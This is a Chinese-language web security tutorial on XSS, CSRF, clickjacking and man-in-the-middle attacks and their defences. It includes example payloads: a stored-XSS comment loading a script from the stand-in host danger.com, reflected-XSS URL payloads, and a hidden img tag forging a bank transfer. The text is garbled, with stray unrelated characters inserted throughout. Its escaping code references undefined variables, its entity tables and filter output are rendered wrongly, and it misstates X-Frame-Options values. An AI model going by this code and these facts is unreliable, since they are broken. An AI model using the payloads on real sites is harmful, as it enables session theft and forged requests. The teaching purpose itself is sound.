XSS 攻擊
什么是 XSS 攻擊
XSS 即 Cross Site Scripting(跨站腳本攻擊),指的是攻擊者想盡一切辦法將一些可執(zhí)行的代碼注入到網(wǎng)頁(yè)中,利用這些惡意腳本前普,攻擊者可獲取用戶的敏感信息如 Cookie肚邢、SessionID 等,進(jìn)而危害數(shù)據(jù)安全拭卿。為了不和層疊樣式表 CSS 混淆骡湖,故將其縮寫(xiě)為 XSS
XSS 可以分為:存儲(chǔ)型 XSS (也叫持久型 XSS)贱纠、反射型 XSS (也叫非持久型)。
存儲(chǔ)型
存儲(chǔ)型也就是攻擊的代碼被服務(wù)端寫(xiě)入進(jìn)數(shù)據(jù)庫(kù)中勺鸦,這種攻擊危害性很大并巍,因?yàn)槿绻W(wǎng)站訪問(wèn)量很大的話,就會(huì)導(dǎo)致大量正常訪問(wèn)頁(yè)面的用戶都受到攻擊换途。
這種攻擊常見(jiàn)于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖刽射、商品評(píng)論军拟、用戶私信等。具有攻擊性的腳本被保存到了服務(wù)器并且可以被普通用戶完整的從服務(wù)的取得并執(zhí)行誓禁,從而獲得了在網(wǎng)絡(luò)上傳播的能力懈息。
反射型
反射型也叫非持久型,相比于前者危害就小一些摹恰,一般通過(guò)修改 URL 參數(shù)的方式加入攻擊代碼辫继,誘導(dǎo)用戶訪問(wèn)鏈接從而進(jìn)行攻擊。
這種常見(jiàn)于通過(guò) URL 傳遞參數(shù)的功能俗慈,如網(wǎng)站搜索姑宽、跳轉(zhuǎn)等。由于需要用戶主動(dòng)打開(kāi)惡意的 URL 才能生效闺阱,攻擊者往往會(huì)結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊炮车。
二者區(qū)別:存儲(chǔ)型 XSS 的惡意代碼存在數(shù)據(jù)庫(kù)里,反射型 XSS 的惡意代碼存在 URL 里酣溃。
舉兩個(gè)案例幫助更好的理解:當(dāng)我們?cè)谧錾唐吩u(píng)論時(shí)瘦穆,用戶輸入的內(nèi)容未經(jīng)過(guò)過(guò)濾直接保存到數(shù)據(jù)庫(kù)中。
攻擊者可以構(gòu)建一條評(píng)論赊豌, 包含惡意內(nèi)容:
質(zhì)量非常不錯(cuò)扛或!<script src="danger.com/spread.js"></script>
當(dāng)你的評(píng)論列表被用戶瀏覽時(shí), 直接從服務(wù)端取出碘饼,回填到 HTML 響應(yīng)中:
<li>質(zhì)量非常不錯(cuò)熙兔!<script src="danger.com/spread.js"></script></li>
那么瀏覽器會(huì)加載執(zhí)行惡意腳本 danger.com/spread.js, 在惡意腳本中利用用戶的登錄狀態(tài)發(fā)更多的帶有惡意評(píng)論的 URL派昧, 誘導(dǎo)更多人點(diǎn)擊黔姜,層層傳播,放大攻擊范圍蒂萎。
這個(gè)案例就是一個(gè)典型的存儲(chǔ)型 XSS 攻擊秆吵。再來(lái)看一個(gè)反射型攻擊案例:
某天小范開(kāi)發(fā)了一個(gè)搜索頁(yè)面,通過(guò)用戶輸入搜索內(nèi)容五慈,展示相應(yīng)的數(shù)據(jù):
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>點(diǎn)我</a>
有時(shí)攻擊者會(huì)偽造一個(gè)圖片纳寂,讓你點(diǎn)擊后鏈接跳轉(zhuǎn) URL主穗。
對(duì)于這種攻擊方式來(lái)說(shuō),如果用戶使用的是 Chrome 瀏覽器的話毙芜,瀏覽器已經(jīng)幫助用戶做了防御攻擊忽媒。但是我們也不能說(shuō)就不防御了,因?yàn)闊o(wú)法保證用戶都是用有防御攻擊的瀏覽器腋粥。
XSS 攻擊如何進(jìn)行防范
- 輸入輸出過(guò)濾
一切用戶輸入皆不可信晦雨,在輸出時(shí)進(jìn)行驗(yàn)證,一般做法是將 ‘ ” < > & 這些個(gè)危險(xiǎn)字符進(jìn)行轉(zhuǎn)義隘冲。
const signs = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
};
const signReg = /[&<>"']/g;
function escape(string) {
return string && reUnescapedHtml.test(string)
? string.replace(reUnescapedHtml, (chr) => htmlEscapes[chr])
: string;
}
通過(guò)轉(zhuǎn)義 <script></script>
將被轉(zhuǎn)義成 <script></script>
;
對(duì)于 URL 地址的轉(zhuǎn)義可以使用
encodeURI
,當(dāng)你需要編碼 URL 中的參數(shù)的時(shí)候闹瞧,那么encodeURIComponent
是最好方法。
上面對(duì)字符進(jìn)行轉(zhuǎn)義的方式很明顯并不適用于所有場(chǎng)景展辞,比如富文本奥邮,這樣會(huì)將需要的格式都過(guò)濾掉。因?yàn)?HTML 標(biāo)簽種類(lèi)繁多罗珍,基于黑名單的過(guò)濾方法考慮的并不全面洽腺,所以我們可以根據(jù)白名單過(guò)濾 HTML, 可以借助 xss.js
來(lái)完成:
// 瀏覽器
<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>
使用:
filterXSS('<h1 id="title">XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p class="text-center">Whitelist</p>')
輸出結(jié)果:
<h1>XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p>Whitelist</p>
如果后端直接將字符串存入數(shù)據(jù)庫(kù)也是不妥的,后端也必須做處理覆旱,因?yàn)榘l(fā)送到后端的內(nèi)容還可以通過(guò)其他方式, 前端處理并不能保障安全蘸朋。
- Cookie 的 HttpOnly
當(dāng)用戶的登錄憑證存儲(chǔ)于服務(wù)器的 session 中,而在瀏覽器中是以 cookie 的形式存儲(chǔ)的通殃。很多 XSS 攻擊目標(biāo)都是竊取用戶 cookie 偽造身份認(rèn)證度液。
可以通過(guò)在 cookie 中設(shè)置 HttpOnly 屬性,js 腳本將無(wú)法讀取到 cookie 信息画舌。
ctx.cookies.set(name, value, {
httpOnly: true, // 默認(rèn)為 true
});
- CSP(內(nèi)容安全策略)
CSP (Content Security Policy堕担,內(nèi)容安全策略)是 W3C 提出的 ,本質(zhì)上就是白名單制度曲聂,開(kāi)發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行霹购。它的實(shí)現(xiàn)和執(zhí)行全部由瀏覽器完成,我們只需提供配置朋腋。
CSP 大大增強(qiáng)了網(wǎng)頁(yè)的安全性齐疙。攻擊者即使發(fā)現(xiàn)了漏洞,也沒(méi)法注入腳本旭咽,除非還控制了一臺(tái)列入了白名單的可信主機(jī)贞奋。
兩種方法可以啟用 CSP:
- 一種是通過(guò) HTTP 頭信息的 Content-Security-Policy 的字段
- 另一種是通過(guò)網(wǎng)頁(yè)的
<meta>
標(biāo)簽
方式 1 舉例
Content-Security-Policy: default-src ‘self’
表示只允許加載本站資源
Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src 'none'
CSP 的值中,不同屬性以 ; 隔開(kāi)穷绵,同一屬性的多個(gè)值以空格隔開(kāi)轿塔。上面例子的意思就是默認(rèn)允許讀取 https://demo.example.cn和https://cdn.example2.net 的資源,object-src 使用的相關(guān)資源無(wú)白名單,也就是完全不允許讀出勾缭。
如果使用了不符合要求的資源揍障,瀏覽器會(huì)給予攔截,給出下面提示:
Refused to execute inline script because it violates the following Content Security Policy directive
我們也可以使用 meta 標(biāo)簽代替 HTTP 頭:
<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>
Content-Security-Policy 的常用選項(xiàng)有這些:
- default-src: 是 src 選項(xiàng)的默認(rèn)值俩由,但不能覆蓋以下值:base-uri毒嫡、form-action、frame-ancestors幻梯、plugin-types兜畸、report-uri、sandbox
- base-uri:特別說(shuō)一下<base> 標(biāo)簽是因?yàn)楣侣崖劦奈业谝淮我?jiàn)到碘梢。指定用于一個(gè)文檔中包含的所有相對(duì) URL 的根 URL膳叨,一個(gè)文件只能有一個(gè)
<base>
標(biāo)簽,用起來(lái)大概是這樣的:<base target="_top" >
痘系。 - connect-src: XHR、WebSockets 等連接使用的地址
- font-src:字體文件來(lái)源
- img-src:圖片地址
- media-src:音視頻地址
- object-src:Flash 相關(guān)
- report-uri:出現(xiàn)報(bào)錯(cuò)時(shí)提交到指定 uri饿自,不能在 標(biāo)簽使用
- style-src:樣式文件
CSRF 攻擊
除了上面說(shuō)的 XSS 攻擊外汰翠,還有一種常見(jiàn)的攻擊方式:CSRF 攻擊。
什么是 CSRF 攻擊
CSRF:跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries)昭雌,也被稱(chēng)為 one-click attack 或者 session riding复唤。冒充用戶發(fā)起請(qǐng)求(在用戶不知情的情況下), 完成一些違背用戶意愿的事情(如修改用戶信息烛卧,刪除評(píng)論等)佛纫。
舉個(gè)例子,好友小 A 在銀行存有一筆錢(qián)总放,輸入用戶名密碼登錄銀行賬戶后呈宇,發(fā)送請(qǐng)求給 xiaofan 賬戶轉(zhuǎn) 888:
http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan
轉(zhuǎn)賬過(guò)程中, 小 A 不小心打開(kāi)了一個(gè)新頁(yè)面局雄,進(jìn)入了黑客(xiaohei)的網(wǎng)站甥啄,而黑客網(wǎng)站有如下 html 代碼:
<html>
<!--其他內(nèi)容-->
<img
src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei
width='0' height='0'>
<!--其他內(nèi)容-->
</html>
這個(gè)模擬的 img 請(qǐng)求就會(huì)帶上小 A 的 session 值, 成功的將 888 轉(zhuǎn)到 xiaohei 的賬戶上炬搭。例子雖然是 get,post 請(qǐng)求提交表單同樣會(huì)被攻擊蜈漓。
CSRF 攻擊的特點(diǎn):
- 通常發(fā)生在第三方網(wǎng)站
- 攻擊者不能獲取 cookie 等信息,只是使用
如何防御
- 驗(yàn)證碼:強(qiáng)制用戶必須與應(yīng)用進(jìn)行交互宫盔,才能完成最終請(qǐng)求融虽。此種方式能很好的遏制 CSRF,但是用戶體驗(yàn)相對(duì)差灼芭。
- 盡量使用 post 有额,限制 get 使用;上一個(gè)例子可見(jiàn),get 太容易被拿來(lái)做 CSRF 攻擊谆吴,但是 post 也并不是萬(wàn)無(wú)一失倒源,攻擊者只需要構(gòu)造一個(gè) form 就可以。
- Referer check:請(qǐng)求來(lái)源限制句狼,此種方法成本最低笋熬,但是并不能保證 100% 有效,因?yàn)榉?wù)器并不是什么時(shí)候都能取到 Referer腻菇,而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險(xiǎn)胳螟。
- token:token 驗(yàn)證的 CSRF 防御機(jī)制是公認(rèn)最合適的方案。
CSRF 與 XSS 區(qū)別
通常來(lái)說(shuō) CSRF 是由 XSS 實(shí)現(xiàn)的筹吐,CSRF 時(shí)常也被稱(chēng)為 XSRF(CSRF 實(shí)現(xiàn)的方式還可以是直接通過(guò)命令行發(fā)起請(qǐng)求等)糖耸。
本質(zhì)上講,XSS 是代碼注入問(wèn)題丘薛,CSRF 是 HTTP 問(wèn)題嘉竟。XSS 是內(nèi)容沒(méi)有過(guò)濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因?yàn)闉g覽器在發(fā)送 HTTP 請(qǐng)求時(shí)候自動(dòng)帶上 cookie洋侨,而一般網(wǎng)站的 session 都存在 cookie 里面舍扰。XSS 利用的是用戶對(duì)指定網(wǎng)站的信任,CSRF 利用的是網(wǎng)站對(duì)用戶網(wǎng)頁(yè)瀏覽器的信任希坚。
點(diǎn)擊劫持
點(diǎn)擊劫持(click hijacking)也稱(chēng)為 UI 覆蓋攻擊边苹。它通過(guò)一些內(nèi)容(如游戲)誤導(dǎo)被攻擊者點(diǎn)擊,雖然被攻擊者點(diǎn)擊的是他所看到的網(wǎng)頁(yè)裁僧,但其實(shí)所點(diǎn)擊的是另一個(gè)置于原網(wǎng)頁(yè)上面的透明頁(yè)面个束。
根據(jù)先點(diǎn)擊劫持原理示意圖,分析典型點(diǎn)擊劫持攻擊流程:
- 攻擊者構(gòu)建了一個(gè)非常有吸引力的網(wǎng)頁(yè)
- 將被攻擊的頁(yè)面放置在當(dāng)前頁(yè)面的 iframe 中
- 使用樣式將 iframe 疊加到非常有吸引力內(nèi)容的上方
- 將 iframe 設(shè)置為 100%透明
- 用戶在不知情的情況下點(diǎn)擊按鈕聊疲,觸發(fā)執(zhí)行一些其他命令茬底。
如何防御
點(diǎn)擊劫持攻擊需要首先將目標(biāo)網(wǎng)站載入到惡意網(wǎng)站中,使用 iframe 載入網(wǎng)頁(yè)是最有效的方法售睹。
所以可以設(shè)置我們的網(wǎng)頁(yè)不允許使用 iframe 被加載到其他網(wǎng)頁(yè)中就可以避免這種情況了桩警,我們可以通過(guò)在響應(yīng)頭中設(shè)置 X-Frame-Options(服務(wù)器端進(jìn)行),X-Frame-Options 可以設(shè)置以下三個(gè)值:
- DEBY:不允許任何網(wǎng)頁(yè)使用 iframe 加載我這個(gè)頁(yè)面昌妹。
- SAMEORIGIN:只允許在相同域名(也就是自己的網(wǎng)站)下使用 iframe 加載這個(gè)頁(yè)面捶枢。
- ALLOWED-FROM origin: 允許任何網(wǎng)頁(yè)通過(guò) iframe 加載我這個(gè)網(wǎng)頁(yè)。
這種方式在一些老舊的瀏覽器上是不支持的飞崖,具體可以通過(guò) can i use
去查看
中間人攻擊
中間人(Man-in-the-middle attack, MITM)是指攻擊者和通訊的兩端分別創(chuàng)建獨(dú)立的聯(lián)系烂叔,并交換其得到的數(shù)據(jù),攻擊者可以攔截通信雙方的通話并插入新的內(nèi)容固歪。
一般的過(guò)程如下:
- 客戶端發(fā)送請(qǐng)求到服務(wù)端蒜鸡,請(qǐng)求被中間?截獲
- 服務(wù)器向客戶端發(fā)送公鑰
- 中間?截獲公鑰胯努,保留在???上。然后???成?個(gè)【偽造的】公鑰逢防,發(fā)給客戶端
- 客戶端收到偽造的公鑰后叶沛,?成加密 hash 值發(fā)給服務(wù)器
- 中間?獲得加密 hash 值,???的私鑰解密獲得真秘鑰,同時(shí)?成假的加密 hash 值忘朝,發(fā)給服務(wù)器
- 服務(wù)器?私鑰解密獲得假密鑰,然后加密數(shù)據(jù)傳輸給客戶端
如何防御
采用 HTTPS 通信可以防御中間人攻擊灰署, 但是使用 HTTPS 并不就絕對(duì)安全,一方面你要完全關(guān)閉 HTTP 通信局嘁,如果沒(méi)有完全關(guān)閉溉箕,攻擊者可以通過(guò)某些方式將 HTTPS 降級(jí)為 HTTP,從而實(shí)現(xiàn)中間人攻擊悦昵。
其次使用 HTTPS 通信肴茄,開(kāi)發(fā)時(shí)也不要忽視證書(shū)的校驗(yàn),或者對(duì)于非法證書(shū)不進(jìn)行處理但指,這樣也容易被中間人攻擊寡痰。
為什么有些軟件如 Fiddler 可以還原 https 報(bào)文?
Fiddler 是通過(guò)中間代理的方式抓取報(bào)文棋凳,還原 https 報(bào)文的前提是在客戶端的根證書(shū)列表下加入 Fiddler 生成的 CA 根證書(shū)氓癌。這樣 Fiddler 就成為 CA,可以偽造數(shù)字證書(shū)贫橙,偽裝成服務(wù)器。但是只能用于測(cè)試反粥,不能實(shí)現(xiàn)真正意義上的竊取數(shù)據(jù)卢肃。